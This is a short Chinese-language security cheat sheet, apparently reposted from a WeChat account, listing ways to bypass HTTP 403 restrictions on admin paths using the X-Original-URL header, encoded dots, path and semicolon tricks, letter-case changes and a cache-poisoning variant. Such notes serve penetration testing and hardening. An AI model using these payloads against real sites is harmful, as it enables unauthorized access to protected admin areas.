-
使用“X-Original-URL”标头
GET /admin HTTP/1.1Host: target.com
试试这个绕过
GET /anything HTTP/1.1Host: target.comX-Original-URL: /admin
-
在第一个斜杠后附加%2e
http://target.com/admin => 403试试这个绕过
http://target.com/%2e/admin => 200-
尝试在 URL 中添加点 (.) 斜线 (/) 和分号 (;)
http://target.com/admin => 403试试这个绕过
http://target.com/secret/. => 200http://target.com//secret// => 200http://target.com/./secret/.. => 200http://target.com/;/secret => 200http://target.com/.;/secret => 200http://target.com//;//secret => 200
-
在目录名后加“..;/”
http://target.com/admin试试这个绕过
http://target.com/admin..;/-
尝试将网址中的字母大写
http://target.com/admin试试这个绕过
http://target.com/aDmIN-
通过 Web 缓存中毒
GET /anything HTTP/1.1Host: victim.comX-Original-URL: /admin
工具：
https://github.com/search?q=Bypass-403
原文始发于微信公众号（Ots安全）：旁路 403（禁止访问）绕过
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究，若将其信息做其他用途，由用户承担全部法律及连带责任，本站不承担任何法律及连带责任，请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论